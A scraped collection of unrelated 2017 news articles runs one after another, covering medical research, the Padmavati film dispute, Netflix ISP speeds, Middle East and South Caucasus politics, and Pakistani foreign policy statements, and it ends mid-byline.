Peter Rotwein, M.D., was recently spotlighted by the American Society for Biochemistry and Molecular Biology (ASBMB) for a study he conducted on insulin-like growth factors (IGFs), a family of proteins that are crucial in early human growth and development. IGF mutations have been tied to dire health problems, like growth failure, intellectual deficiencies, and other developmental abnormalities.

The ASBMB feature highlights how Dr. Rotwein, vice president for research at Texas Tech University Health Sciences Center El Paso (TTUHSC El Paso), has managed to pursue his passion for molecular biology while juggling his administrative duties for the university. Dr. Rotwein most recently spent time singlehandedly sifting through the genetic data of more than 60,000 people, analyzing the similarities and differences between their IGF genes and proteins.

His work resulted in a peer-reviewed article in the Journal of Biological Chemistry; the paper was later selected as a "Recommended Read" by the journal's editors.

Dr. Rotwein's analysis showed that IGF mutations occur in less than one in every 30,000 people. "The bottom line is that disease-causing mutations are very, very uncommon in the IGF system," he explained.

He also found that there's a high prevalence of polymorphisms, or genetic variation, when it comes to IGF proteins.

"In the past, there were assumed-to-be mutations in members of the IGF family based on the fact that there were a small number of individuals who had certain similar medical problems," Dr. Rotwein said. "But some of these genetic differences that were thought to be rare are actually very common, so they are probably not mutations after alljust prevalent genetic differences within the human population."

For Dr. Rotwein, the next question is what these genetic variations might determine in the human body, such as modifying growth processes that determine adult height. He also is curious if the variations are connected to changing the predisposition to any particular diseases.

In the past, when he ran his own laboratory at other institutions, Dr. Rotwein would have proceeded to address his questions experimentallytesting genetic variations individually in cells or in animal models to see what biological processes they are linked to. Now that he spends most of his time in research administration, he hopes to see other researchers pick up where he left off.

"I hope other researchers can use my observations to further their own studies," he said.

Rajkumar Lakshmanaswamy, Ph.D., dean of the Graduate School of Biomedical Sciences, was pleased to see Dr. Rotwein featured by ASBMB.

Dr. Lakshmanaswamy said, "Dr. Rotwein's research demonstrates that there are natural variations in human insulin-like growth factor genes. This is one of the first steps in understanding how these variations play into various human diseases."

More information: Peter Rotwein, Large-scale analysis of variation in the insulin-like growth factor family in humans reveals rare disease links and common polymorphisms, Journal of Biological Chemistry (2017). Journal information: Journal of Biological Chemistry Peter Rotwein, Large-scale analysis of variation in the insulin-like growth factor family in humans reveals rare disease links and common polymorphisms,(2017). DOI: 10.1074/jbc.M117.783639
(HealthDay)For older patients discharged from a regional hospital, there are frequently discrepancies between the electronic discharge summaries and the National Inpatient Medication Chart (NIMC) or discharge prescription, according to a study published online Dec. 13 in the Journal of Pharmacy Practice and Research.

Mary E. Wilkin, B.Pharm., from Manning Hospital in Taree, Australia, and colleagues examined the types and numbers of discrepancies in electronic discharge summaries prepared for older patients discharged from the medical wards of a regional hospital compared with the NIMC or discharge prescription. Data were included for 50 patients, aged 65 years or older, taking three or more regular medications who were discharged from the medical wards with an NIMC or discharge prescription and an electronic discharge summary.

The researchers identified 107 discrepancies, with 68 percent of the discharge summaries containing one or more discrepancies. Forty-three percent of the discrepancies related to omission of medications prescribed from the electronic discharge summary. Twenty-nine and 50 percent of the discrepancies were classified as having moderate potential clinical significance and minor clinical significance, respectively.

"This audit demonstrated that the majority of electronic discharge summaries supplied by the hospital contained discrepancies," the authors write. "Improved communication between health care providers at transitions of care is needed in rural settings."

Copyright  2017 HealthDay. All rights reserved.
Credit: University of Warwick

A new video by the University of Warwick highlights a bitter side to our sugar consumption at Christmas.

Available to view online the short film highlights how excessive consumption of sugar can affect our health - and how the sugar trade in the past and today has caused inequality and bloodshed.

Today Britons eat too much sugar, on average 10 per cent of our daily calories come from sugar which is equivalent to 60 g per day; however WHO guidelines state that adults should eat no more than of 30g of sugar a day which is just five per cent of our daily calorific intake.

The type of sugars most adults and children in the UK eat too much of are "free sugars". These are any sugars added to food or drinks and include sugars in biscuits, chocolate, flavoured yoghurts, breakfast cereals and fizzy drinks.

At Christmas sugar consumption can rocket thanks to traditional Christmas food and drink. A slice of Christmas cake will take you well over your recommended daily sugar allowance of 30g. A glass of mulled wine contains just under half of your total recommended sugar intake, Christmas pudding can have up to 45g of sugar per portion and a single mince pie can contain more than 22g of sugar.

Professor Franco Cappuccio of Warwick Medical School said: "As well as having a detrimental effect on your waistline sugar consumption above recommended levels can affect your health in other ways. Eating too much sugar and the excessive calories and increase in weight heightens your risk of health problems such as heart disease, some cancers and type 2 diabetes."

Dr Ben Richardson, department of politics and international studies, argues that it is probably not surprising that we have such a sweet tooth given the persistent marketing of confectionary which often targets the young. He said: "This is particularly noticeable around Christmas when a whole new generation of children will be socialised be into associating certain foods and drinks with the festivities."

Professor Rebecca Earle department of history highlights the negative implications linked to our consumption of sugar other than those associated with our health. She points out that the manufacture of sugar in colonial times has a bitter history. Professor Earle said: "Most of the sugar manufactured in Britain was done using slavery. Working on sugar plantations was lethal and every stage of the production process was dangerous. As they said at the time 'sugar was made with blood'".

Nowadays the manufacture of sugar is safeguarded as even in the most protected markets food manufacturers are allowed access to supplies of affordable sources of sugar.

Summing up Professor Earle commented: "Sugar still takes the lives of those who grow it so whether we torment ourselves over our excessive sugar intake or enjoy festive treats we can also remember this longer more sombre history of sugar's bitter side."
New findings by scientists at the University of Southampton could help to predict how people with the most common form of leukaemia will respond to chemotherapy. The findings will help doctors decide which type of treatment to give patients.

The researchers, who were funded by the blood cancer research charity Bloodwise, analysed DNA samples from over 600 people with chronic lymphocytic leukaemia (CLL) treated on clinical trials with chemotherapy, or chemotherapy combined with immunotherapy. They identified a genetic signature found in one in five patients, linked to considerably longer survival times.

CLL is a slowly developing blood cancer, diagnosed in around 4,000 people each year in the UK. While it is not considered curable, patients who have no sign of cancer left after initial treatment are known to be more likely to have long periods of remission.

Treatment for CLL depends on how fast the disease develops. CLL develops quickly in some people, who need treatment soon after diagnosis, while others may never need treatment because they have no symptoms. Initial treatment usually consists of chemotherapy along with drugs called monoclonal antibodies. New targeted treatments have become available for patients who do not respond to this initial chemotherapy.

Although new targeted drugs, such as ibrutinibwhich was approved for use on the NHS in 2017, have represented a step forward in the treatment of CLL, they are very expensive and not all patients respond to them. The drugs are taken daily for an extended period of time and patients can experience side effects.

The scientists used screening techniques to analyse the 'epigenetics'  biological mechanisms that can influence how and when genes are switched on and off  of CLL patients' cancer cell samples. They showed that patients' cancer cells fell into one of three epigenetic sub-groups. Two in 10 patients had a 'memory' epigenetic signature, in which one-off chemotherapy can lead to long survival times, five in 10 had a 'naive' epigenetic signature that did not respond as well to treatment, and three in 10 belonged to an intermediate group.

On average patients treated with chemotherapy whose cancer cells contained the 'memory' epigenetic signature survived for nearly nine years compared to five years for patients with the 'naive' epigenetic signature.

Findings from this study have proven the link between epigenetics and survival in people with CLL who are receiving chemotherapy-based treatments. Testing the epigenetic profile of CLL patients before they start treatment could help to identify those who gain long-lasting remission with conventional chemotherapy-based regimes, and pinpoint those who may need alternative treatments.

Epigenetic changeschanges to how the DNA 'script' is readoccur in all cancers. These latest findings provide further evidence that epigenetic tests can improve diagnosis and guide doctors on the most suitable treatments for individual patients.

The results from the study were announced at the Annual Meeting of the American Society of Hematology in Atlanta on Saturday 9 December.

Professor Jonathan Strefford, from the University of Southampton, said: "What we have found is that it is possible to identify patients who will respond extremely well to a one-off course of traditional chemotherapy, which can result in long-term remission and in some cases can be the equivalent to a cure."

"While new targeted drugs have led to significant improvements in treatment for CLL in patients who relapse after chemotherapy, many patients don't want to be taking treatment every day, often with an impact on their quality of life.

Dr. Alasdair Rankin, Director of Research at Bloodwise, said: "There are an increasing number of effective treatments becoming available for people with chronic lymphocytic leukaemia. The key is to accurately tailor the right treatments to the right patients, as not everyone will respond in the same way. This valuable study shows that a fairly significant number of people with CLL can still benefit considerably from treatment with conventional chemotherapy."

CLL is diagnosed in over 4,000 people each year in the UK and is the most common type of adult leukaemia. Patients produce immature versions of white blood cells called lymphocytes, which build up in the bone marrow and crowd out healthy blood cells.

CLL develops slowly and primarily affects patients' immune systems and their ability to fight off infections. Symptoms can include fatigue, swollen lymph nodes, frequent infections, weight loss and night sweats.

Many patients will not start treatment straight away, but will be put on a programme call 'watch and wait' until the cancer develops further. Some patients will never need treatment. For those patients who do undergo treatment, this usually initially consists of a combination of chemotherapy drugs and monoclonal antibody drugsartificial antibodies that bind to and kill specific cancer cells.

More information: Clinical Importance of DNA Methylation Signatures in Chronic Lymphocytic Leukaemia Patients Treated with Chemo-Immunotherapy, presented at the Annual Meeting of the American Society of Hematology in Atlanta at Saturday 9 December 2017
By Lakshana N Palat: It has been a while since we heard about Sanjay Leela Bhansali's troubled Padmavati. The film, starring Deepika Padukone, Ranveer Singh and Shahid Kapoor in the lead roles, hit choppy waters, and was accused of distorting history by fringe Rajput groups.

The groups firmly believed that the film would show a romantic dream sequence between Rani Padmini (Deepika) and Alauddin Khilji (Ranveer Singh). This was without even seeing the film, mind you.

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Their blind ire was so strong that the groups called for a nation-wide ban on the film. Not content with just this, they issued death threats by the dozen, to the cast, with specific reference to Bhansali and Deepika.

From trying to slap court cases on them, to almost unleashing a mob on the Padmavati team, the trouble-makers tried their best to keep Padmavati from the screens. It's a wonder now, how Bhansali's drive to release the film continues to date.

Bhansali showed the film to select media-persons. This moveangered the CBFC(Central Board of Film Certification), which was already under tremendous pressure. The board delayed the certification of the film, and excavated an old rule, saying that filmmakers should submit their films 68 days before the release date.

Padmavati's release date was pushed from December 1, and its fate has been hanging in the balance for a while now.

However, recently, reports have been doing the rounds that the CBFC will grant the certificate to Padmavati soon. Not just this, the film might release on January 5 or January 12.

A PROMOTIONAL OVERDOSE

Now, the dates do seem a little ambitious at first, given that there isn't much time for promotions. Normally, it would be difficult for a film team to create a hype around the film just a few weeks before the release date. Not quite with Padmavati, though.

If you look at it closely, you will see that the burning controversies that Padmavati has been in, have contributed substantially to the excitement and curiosity around the film.

If human psychology has proven anything in the past, it is that the more you try to forbid someone from doing something, the more they want to do it. And so, without realising it, the Karni Sena have worked as the most effective PR agency for Padmavati.

Their aggression and anger against the film have just heightened people's curiosity about the story of Malik Muhammad Jayasi's Padmavat, Rani Padmini's tale and Alauddin Khilji's apparent lust for her. Those unfamiliar with the story would now actually want to see Bhansali's version of the siege of Chittor.

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NO BIG-BUDGET RELEASES

Assuming Padmavati does release on January 5 or 12, it will do extremely good business; more so than usual, as there are no major box-office releases during this time. It will have quite a free run, for its first two weeks, before Akshay Kumar's Padman and Sidharth Malhotra's Aiyaary release on January 26.

ELECTION CHAOS OVER

The frenzy around Padmavati reached a feverish pitch since its initial release date was just before the Gujarat Assembly election. Political parties got embroiled in the debate on whether the film should be released or not, and tried to win the fringe groups over.

Now that the madness has subsided, Padmavati's release on January 5 or 12 might just have a smooth run.

ALSO WATCH | Exposed: Karni Sena thugs holding Padmavati hostage

--- ENDS ---
Netflix has revealed its ISP Speed Index for November, with Cool Ideas retaining the top spot.

South Africas ISPs achieved an average speed of 2.54Mbps, maintaining the countrys rank of 50 out of 59 countries.

The index is a measure of prime-time Netflix performance on particular ISPs, and not a measure of overall performance on the networks.

Netflix said it calculates the average bitrate of Netflix content, in Mbps, streamed by its members per ISP.

We measure the speed via all available end-user devices. For a small number of devices, we cannot calculate the exact bit rates, and streaming via cellular networks is exempted from our measurements, said Netflix.

Netflix recommends a 5Mbps connection for full HD streaming, which may explain why the average speeds are all below the 5Mbps mark.

The top 10 ISPs for prime-time Netflix streaming are listed below.

November 2017 Rank ISP Speed Previous Speed Change 1 Cool Ideas 3.70 Mbps 3.75 Mbps  2 Vox 3.21 Mbps 3.17 Mbps  3 Vodacom 3.21 Mbps 3.14 Mbps  4 MTN 3.14 Mbps 3.11 Mbps  5 Cell C 2.98 Mbps 2.94 Mbps  6 Telkom 2.51 Mbps 2.48 Mbps  7 Afrihost 2.47 Mbps 2.43 Mbps +1 8 Cybersmart 2.46 Mbps 2.47 Mbps -1 9 MWEB 2.15 Mbps 2.11 Mbps  10 Neotel 1.70 Mbps 1.66 Mbps 

Now read: The Defenders producer to head up Netflix Witcher series
"Removed from the pen and launched on November 17, the Knyaz Vladimir has the other day started berthing tests. Those are due for completion early in the new year," the source said to the agency.



TASS has no official confirmation of the said information.



The berthing tests are part of the acceptance trials conducted in the shipyards water area. Construction of the boat is being completed and her main equipment checked. This includes preliminary tests of the main power plant. Following the berthing tests, the Knyaz Vladimir will start sea trials in spring. The source specified that at the final stage of acceptance trials, due to take place in summer through autumn, the submarine will fire at the Kura test range in Kamchatka peninsula, using her main weapon, Bulava missile.


Israeli political leaders on Sunday agreed to submit a draft bill to parliament enabling capital punishment for "terrorists", Defence Minister Avigdor Lieberman's Yisrael Beitenu party said in a statement, DW reported quoting AFP.

Although the statement's wording was not explicit, the bill is aimed at Palestinian militants, in line with Lieberman's past pledges.

"Today the death penalty bill for terrorists has finally been approved by the coalition leaders' forum," the Hebrew-language announcement said, referring to the heads of the six political parties which comprise the governing coalition.

"The legislation should be very simple and very clear -- a terrorist who comes to kill innocent civilians will be sentenced to death," it said.

The statement quoted Lieberman as saying that if passed into law the bill would be a powerful deterrent and a counterweight to Palestinian assailants' hopes that after a spell in jail they could be freed in a political deal or prisoner exchange.

"We must not allow terrorists to know that after a murder they have committed, they will sit in prison, enjoy (comfortable) conditions and may be released in the future," Lieberman wrote.

The statement did not set a date for the bill to be put before parliament.

It would need to pass four readings before becoming law, and could then risk being struck down by the Supreme Court.
Palestine has criticized the use of veto on the UN Security Council resolution that denounces recognizing of Jerusalem as the capital city of Israel.

The US on Monday exercised its veto power on the resolution, reported The Associated Press (AP).

Palestinian President Mahmoud Abbas adviser said this veto goes against the international consensus, underscores Washingtons growing international isolation, and will not help in creating peace in the region.

Turkey also criticized the US over this veto. A Turkish Foreign Ministry statement said the fact that the resolution was approved by the 14 other UN Security Council members is the most concrete indication of the illegitimacy of the US decision on Jerusalem.

Russia, on the other hand, announced that it is ready to become an honest mediator between the Israelis and Palestinians.

On December 6, US President Donald Trump stated, that he recognizes Jerusalem as the capital city of Israel, and said the US Department of State has been ordered to start transferring the US embassy in Israel, from Tel Aviv to Jerusalem.

But this decision has brought about worldwide reaction.
Prime Minister of Finland: Europe is now too reliant on Chinese technology

Turkey to require insurance from oil tankers when passing through its waters

EU to provide Ukraine with generators and kits to repair power grids

Turkey sentences sect founder to 8,658 years in prison

Xi Jinping urges world to abandon any Cold War mentality

Aliyev rules out talks with Artsakh State Minister

FP: Ukraine's appetite for weapons depletes Western stocks

Putin and Aliyev discuss energy cooperation

Armenian financial technologies to enter international market: VISA and Idram sign memorandum in Yerevan

Incident in Poland causes disagreement between Kyiv and West

Mark Milley urges Kyiv and Moscow to find political solution: Chances of military victory are unlikely

New NATO Secretary General to be announced at Vilnius summit in 2023

Finnish Defense Ministry announces largest batch of military aid to Ukraine

Pashinyan receives Ukrainian businessmen of Armenian origin

Armenian soldier wounded in Azerbaijani shooting

Erdogan: Turkey-Israel relations entered a new phase of development

Mishustin: Cooperation between Moscow and Baku has become truly strategic and allied

Igor Khovaev to visit Baku

Mishustin arrives in Baku

Russian Foreign Ministry: South Caucasus is a strategic transport hub for Eurasia

U.S. general lays flowers at eternal flame at Armenian Genocide memorial

Republicans stand for same-sex marriage rights

Pallone says US State Department should not hesitate to speak about Azerbaijani aggression

Aliyev refuses to discuss Nagorno-Karabakh and threatens Armenia with new aggression

Greek minister doesn't get off plane to meet head of Libya's presidential council

Sergey Lavrov to visit Yerevan

Lebanese parliament fails to elect president of country

Kremlin on Zelenskyy's proposal to hold 'public' talks

National Assembly Speaker: Armenia is extremely interested in establishing strategic relations with Georgia

Canada provides additional military aid to Ukraine

Representatives of defense agencies of CSTO countries discuss crisis response issues

Armenian Defense Minister and American General discuss defense cooperation

Tehran accuses Israel and West of trying to organize civil war in Iran

Oppositionist: No guarantees that war with Azerbaijan can be avoided

Issue of biometric passports to Armenian citizens is temporarily suspended

Armenia-Azerbaijan peace agreement to be signed till end of year? Pashinyan's associate voices conditions

Erdogan says Russia and US agreed to refrain from using nuclear weapons

Azerbaijani oppositionist complains of torture by police

Kyaram Sloyan and Andranik Zohrabyan posthumously bestowed 'Hero of Artsakh' title

UN Secretary General Guterres welcomes parties' agreement on renewal of food deal

Eurasian Development Bank: Armenia is the leader among EEU countries in terms of economic growth

Greece promises to continue military support to Ukraine

Number of appeals from Azerbaijan to ECHR is growing

Pashinyan: The wheel of processes related to confiscation of illegal property is spinning

Fire hits Baghdad airport

North Korea fires ballistic missile towards Sea of Japan

Istanbul agrees to extend 'grain initiative' for another 120 days

'Hayastan' Fund to build 6 residential houses in Nerkin Khndzoresk village

Vocal as Russophobic propaganda: Azerbaijani singer sings about 'disgusting peacekeepers'

Biden congratulates Republicans on winning majority in House of Representatives

14 freight cars derailed in Kazakhstan, train traffic suspended

Newspaper: Ruben Vardanyan does not hurry to make changes in composition of Karabakh government

Russia attacks Ukraine with missiles in morning: Explosions heard in Dnieper, air defense works in Kyiv region

U.S. National Security Council: It is clear that the party ultimately responsible for this tragic incident is Russia

Gold prices decline

Russian Trade Representative to Armenia: Situation at Upper Lars checkpoint is not related to geopolitical issues

Trade Representative of Russia: Trade turnover with Armenia sets new record

Copper falls in price

Gas explodes in Fatih district of Istanbul, 10 people injured

Oil prices go down

Meteorite that fell in Britain contains key information about how oceans and life formed on Earth

Gamer drinks 12 energy drinks in ten minutes and ends up in hospital

Chinese customs officers accidentally find cockroach unknown to science

Man removes cobra's teeth with manicure pliers and gets arrested

Sweden to provide Ukraine with new military aid worth $287 million

Bulgaria, Croatia and Romania meet conditions for joining Schengen zone

Oil prices may reach $120 a barrel and stay at this level for 2 years

Zelenskyy receives 'signals' that Putin wants direct talks

Security Service of Ukraine puts Ramzan Kadyrov on wanted list

Unidentified men open fire at market in Izeh city in southwestern Iran

Karen Donfried tries to explain State Department's decision to exempt Azerbaijan from 907th Amendment

Philip Reeker says U.S. administration representatives have no access to Nagorno-Karabakh

Rimac Nevera sets speed record for production electric cars

Reeker: Pace and depth of current talks between Yerevan and Baku demonstrate potential to resolve conflict

FBI director considers TikTok threat to US National Security

Bob Menendez says Ukraine supplies Azerbaijan with phosphorus bombs it used in Karabakh

Delegation headed by Speaker of Armenian Parliament is in Tbilisi

Austin: U.S. intends to continue supplying weapons and aid to Ukraine during winter

Armenian politician charged with abuse of office, money laundering

Donfried says Armenia and Azerbaijan have historic opportunity to establish lasting peace

Bob Menendez: How on earth can we justify sending any support, security or otherwise, to the regime in Baku?

Azerbaijan fires at residents of Sarushen village of Artsakh

Head of Portugal's Finance Ministry: EU countries must work faster on energy intervention

Kuwait executes 7 prisoners

Czech Republic plans to train up to 4,000 Ukrainian servicemen next year

Ukraine once again asks US for powerful drones

Belarusian border guards shoot down drone intruding into airspace from Ukraine

Armenian Deputy PM: Regional electricity export opportunities significantly increased

Greek authorities temporarily ban export of firewood from country

Azerbaijan protests to France in connection with Senate resolution

Blinken calls on Aliyev to observe ceasefire and limit provocations

Pashinyan: We're advancing rights of Armenians in Nagorno-Karabakh.

Pashinyan: Armenia invites Azerbaijan to sign framework agreement on peace

Pashinyan: Most of the arable land of 4 villages in Tavush Province is occupied by Azerbaijanis

Armenian Prime Minister: Let the opposition loudly reject Russia's proposals

Pashinyan: 2023 budget growth in social protection compared to 2018 is 56%

Inflation in UK up to 41-year high of 11.1% in October

Pashinyan: We don't want to provoke war between CSTO and Azerbaijan

Pashinyan's explanation: How should we fight inflation?

Pashinyan: Armenia submitted its proposals for peace treaty to Azerbaijan, we are waiting for a response
Russian President Vladimir Putin has called on the special services of the Commonwealth of Independent States (CIS)which includes Armeniato strengthen their ties against the backdrop of terrorist threats.

This was noted in Putins welcoming message to the participants in the meeting of the council of the heads of the security agencies and special services of the CIS countries, and which was read by director Alexander Bortnikov of the Russian Federal Security Service, reported TASS Russian News Agency.

The message also stressed that the current situation in the world requires seeking new and more effective tools for addressing global challenges and threats.

In addition, Putin expressed the hope that this meeting will deepen cooperation between the CIS special services, and recalled that such traditional talks contribute to the development of their collaboration in the fight against terrorism, extremism, illegal drugs, and transnational crimes.
Turkish Forum (turkishnews.com) website journalist and columnist Ahmet Guler criticized Turkeys devotion to Palestine, and recalled that the latter recognizes Armenian Genocide.

In his latest article, Guler noted that even though Turkey brought the world to its feet for Palestine and recognized East Jerusalem as its capital city, it forgot that in 2015, Palestine issued a stamp on the centennial of Armenian Genocide.

Also, the Turkish journalist recalled Palestinian President Mahmoud Abbas remarks on January 18, 2016, at the Church of the Nativity basilica in Bethlehem, on the occasion of Armenian Christmas.

Abbas had stated that the Armenians were the salt of these lands and that they would never leave this land, the Turkish Forum columnist wrote, in particular. Mahmoud Abbas had likened the grave situation of the people of Palestine to the situation of the Armenians in the years of the Turkish Genocide.

[Also,] the President of Palestine said he had invited his Armenian counterpart Serzh Sargsyan to Palestine and had hoped Sargsyan would accept the invitation.
By PTI: By Sajjad Hussain

Islamabad, Dec 19 (PTI) Pakistan today strongly rejected Americas concerns about the terror groups operating from its soil as outlined in the US National Security Strategy, terming them as "unfounded accusations" that belie facts on ground.

Mandated by the Congress, US President Donald Trump yesterday released his first National Security Strategy 2017, according to which the US has asked Pakistan to intensify its counter-terrorism efforts.

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In a statement, the Foreign Office said the NSS 2017 has made certain unsubstantiated allegations against Pakistan.

"Pakistan rejects such unfounded accusations that belie facts on ground and trivialize Pakistan?s efforts for fighting terrorism and our unmatched sacrifices to promote peace and stability in the region," the statement said.

It said Pakistan has been at the forefront in the fight against regional and global terrorism and it is because of Pakistans cooperation with the international community, acknowledged and appreciated by the US leadership, that the Al-Qaeda core was decimated from the region.

It said that in a troubled neighbourhood, Pakistan continues to suffer at the hands of state sponsored terrorism, funded and abetted by our neighbours through proxies.

The self-proclaimed guarantors of peace and "phony regional powers" are pursuing this nefarious game of expansionism to the detriment of regional and global peace, the statement said, without naming any country.

"Destabilising policies and actions by some countries to maintain their hegemony in pursuit of absolute power are responsible for instability in several parts of the world, including ours," it said.

In an oblique reference towards India, the statement said that countries emerge as regional or global powers on the basis of their constructive contributions and it does not fall upon one country to bestow such status on any state.

"Ironically, a country with a record of defiance of UNSC resolutions, introduction of nuclear weapons in South Asia and use of terrorism as a state policy is being projected as a regional leader," the Foreign Office said.

Pakistan also alleged that the hostile elements were using Afghan soil against it "despite substantial US presence" in Afghanistan.

The statement said Pakistan has consistently emphasised that a political settlement, owned and led by Afghans is the only viable option to end the conflict in Afghanistan.

The statement said that Pakistans security forces have undertaken indiscriminate and effective counter-terrorism operations against terrorism and extremism, making Pakistan a more stable, peaceful and secure country.

Rejecting US concerns about its nuclear weapons, the statement said that Pakistan as a responsible nuclear state has put in place, a highly efficient, robust and centralised command and control mechanism to secure its nuclear assets.

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"The safety and security standards of Pakistan?s nuclear arsenal are second to no other nuclear state," it said.

It said Pakistan was mindful that the war against terrorism was not over and was committed to continue its fight against the sympathisers, financers and abettors of terrorism to ensure that its soil is not used for committing violence anywhere.

"We expect the same commitment from our neighbours and other regional and global actors," it said. PTI SH ZH

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YEREVAN.  The opposition Way Out and Tsarukyan Factions of the National Assembly of Armenia on Tuesday met with a delegation from the European Union (EU).

Tsarukyan Faction Secretary Vahe Enfiajyan informed about the aforementioned to Armenian News-NEWS.am.

One of the key matters that we had singled out is our initiative with regard to the Electoral Code, Enfiajyan added. We have developed a draft, where the process of organizing an election with a 100-percent proportional election system is summed up.

He noted that, aside from the Electoral Code, they had spoken also about the political events that are expected in the near future.
YEREVAN.  Nothing can upset the allied nature of Armenian-Russian relations.

Russian Federation (RF) Ambassador Ivan Volinkin on Tuesday stated the abovementioned at the New Year reception for members of the media.

In his words, the current year has marked the 25th anniversary of diplomatic relations between two countries, and this introduces new dynamics to their further development.

Ambassador Volinkin added that in 2017, Armenia and Russia have made tangible contributions to integration within the framework of the Eurasian Economic Union [(EAEU)], and the Collective Security Treaty Organization (CSTO).

Also, the diplomat pointed to the Russian-implemented projects in Armenia.

The RF has decided to send a part of its payments to the UN to the economic assistance of Armenia, Volinkin added, in particular.

Furthermore, the Russian ambassador highlighted the increase in turnover between the two countries, and stressed that Armenias agricultural products are in demand in Russia.

And reflecting on the Meghri Free Economic Zone that opened recently in Armenia, Ivan Volinkin said it could have great prospects. In particular, as per the Russian diplomat, Armenia can become some kind of hub that will draw investments by way of establishing the enterprises of countries which do not have direct access to the EAEU market.
Karabakh conflict will not be resolved, if there are no compromises, Russian State Duma lawmaker Konstantin Zatulin said during Yerevan-Moscow videoconference on Tuesday.

According to him, deals between Armenia and Azerbaijan, as well as between Azerbaijan and Karabakh are necessary for peaceful settlement of Karabakh conflict. Azerbaijan should recognize the independence of Karabakh, and the Armenian side should return a number of Azerbaijani territories that were occupied during the conflict by the self-defense forces of Karabakh, Zatulin said.

"I think that lasting peace in the region cannot be achieved if Azerbaijan continues to demand the return of Karabakh, and if Armenia does not return Azerbaijani occupied regions," he stressed.

According to the lawmaker, Azerbaijan no longer controlled Karabakh by the time of Soviet Unions collapse and in fact attempts to show that Karabakh belongs to independent Azerbaijan are doubtful even from the legal point of view.

As for the situation in the conflict zone, Zatulin believes that the absence of bad news is already good news, after all what happened in 2016.

"No breakthrough should be expected in Karabakh conflict settlement. All efforts are directed to exclude the escalation of the conflict and bloodshed," he summed up.
Israel is ready to pay the price for the US decision to recognise Jerusalem as its capital but will not accept Palestinian rocket fire, Defence Minister Avigdor Lieberman said Tuesday.

President Donald Trump's December 6 decision to recognise Jerusalem and move the US embassy there has led to near-daily protests in the Palestinian territories, with at least 15 rockets or projectiles fired at the Jewish state from the Gaza Strip.

"It was clear to us that the US President's declaration (on Jerusalem) will have a price, and I repeat, we are ready to pay the whole price. This determination (on Jerusalem) is important," Lieberman said during a visit to a military base near the Gaza border.

"We will not tolerate any leakage" of rockets fired from Gaza at Israel, he added.
By PTI: By Sajjad Hussain

Islamabad, Dec 19 (PTI) Pakistan and Japan have agreed to jointly combat the threat of terrorism in all its forms and manifestations, Foreign Office said here today.

The two countries have agreed to explore further avenues for promoting bilateral cooperation on countering terrorism during the 3rd round of Pakistan-Japan Counter Terrorism Consultations held here.

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Pakistan delegation was led by Tasnim Aslam, Special Secretary in Ministry of Foreign Affairs while the Japanese side was led by Eiji Yamamoto, Ambassador in charge of International Cooperation for Countering Terrorism and International Organised Crime of Japan.

"The two sides held in-depth discussions on various aspects of the threat posed by international terrorism and reiterated their resolve to jointly combat terrorism in all its forms and manifestations," Foreign Office said in a statement.

Pakistan briefed the Japanese delegation on the improved security situation in the country as a result of the concerted actions by all segments of the society, it said.

The major successes achieved in the fight against terrorism through military operations and implementation of comprehensive nation plan of action were also highlighted, it added.

The Japanese side, while reaffirming its solidarity with the victims of terrorist attacks and recognising the sacrifices and successes of Pakistan in the fight against terrorism, expressed support to Pakistans continuing efforts in this regard, the statement said.

Both sides also exchanged views on the threat posed by the ISIS in the Middle East and other parts of the world. PTI SH MRJ

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YEREVAN. The lack of progress in the Karabakh conflict settlement process is due to the uncompromising and maximalist stance of Azerbaijan at the negotiation table, Armenian Foreign Minister Edward Nalbandian said in an interview with Greek newspaper Etnos.

Asked, what are the biggest obstacles in the settlement process, the Armenian Foreign Minister said: Last week in my statement at the OSCE Ministerial Council I made a detailed enumeration of nine reasons why till now it has not been possible to advance the peace process despite numerous meetings on the presidential and ministerial levels, many rounds of negotiations, the tireless mediation efforts by the Co-Chair countries - Russia, France and the USA, and the strong endorsement of the OSCE and all others who have supported the efforts and approaches of the Co-Chairs.

In brief, the lack of progress in the settlement process is due to the uncompromising and maximalist stance of Azerbaijan at the negotiation table, its failure to implement what has been emphasised and agreed upon during the last three summits of the Presidents of Armenia and Azerbaijan held in Vienna, St Petersburg, Geneva, particularly on the exclusively peaceful settlement of the conflict, full adherence to the 1994-1995 trilateral ceasefire agreements, which do not have time limitations, creation of mechanism for the investigation of ceasefire violations, expansion of the team of the Personal Representative of the OSCE Chairperson-in-Office. Azerbaijan made a step back and refused to reaffirm its commitment to the principles and elements proposed by the Co-Chairs of the Minsk group as a basis for the settlement, Nalbandian noted.

According to him, Baku has backtracked from many other agreements and this pattern seriously questions Azerbaijans credibility as a negotiating party.

Meantime, Baku continues the ceasefire violations and provocations on the line of contact. In April 2016 Azerbaijan unleashed an aggression against Nagorno-Karabakh that was accompanied by the grave violations of international humanitarian law, atrocities against the civilian population, including children, women and elderly persons, mutilation of the bodies, DAESH-style beheadings.

"What has been proposed by the Co-Chairs and supported by Armenia has been rejected by Azerbaijan and this is the main reason that hinders the advancement of the peace process.

"I would like to once again reiterate Armenias firm commitment to the exclusively peaceful settlement of the conflict based on the proposals of the Co-Chairs. There is no alternative to the negotiation process.

"If Baku abides to the calls of the Co-Chairs to strictly respect the ceasefire, implements previously reached agreements, reiterates its adherence to the principles of the conflict resolution proposed by the Co-Chairs and constructively engages in the negotiations that will pave the way to move the peace process forward, the FM summed up.
YEREVAN.- Armenia is hopeful that the Comprehensive and Enhanced Partnership Agreement (CEPA) with the EU will be ready to be submitted to parliament for ratification in spring, a deputy foreign minister said Tuesday.

In a speech at the EU-Armenian Parliamentary Cooperation Committees 17th session, Karen Nazaryan highlighted the cornerstone significance of the deal, which he said should by all means be enacted to offer additional peace and security guarantees.

As for the visa liberalization process between Armenia and the EU, the Deputy Foreign Minister noted that it is an important point for rapprochement.

According to Nazaryan, it cannot be predicted when the document will be ratified by 28 EU countries and the European Parliament, but Armenia will be able to use some of the provisions of the agreement, such as budgetary support, after ratifing the document in its own parliament, without waiting for the ratification of the EU countries.

EU-Armenia PCC Co-Chairs Sajjad Karim noted in his speech that the Comprehensive and Enhanced Partnership Agreement (CEPA), signed between the EU and Armenia in November, will be of great importance for the development of bilateral relations.

In his opinion, this historical agreement is based on loyalty to the European common value system.

Touching upon the cooperation of the parties within the framework of the Eastern Partnership, Mr. Karim noted that it is not a tool that guides Armenia to make a choice between the EU and EAEU.

Armenia has will to implement the reforms in line with civil society demands and commitments to the EU.
By PTI: in Pak

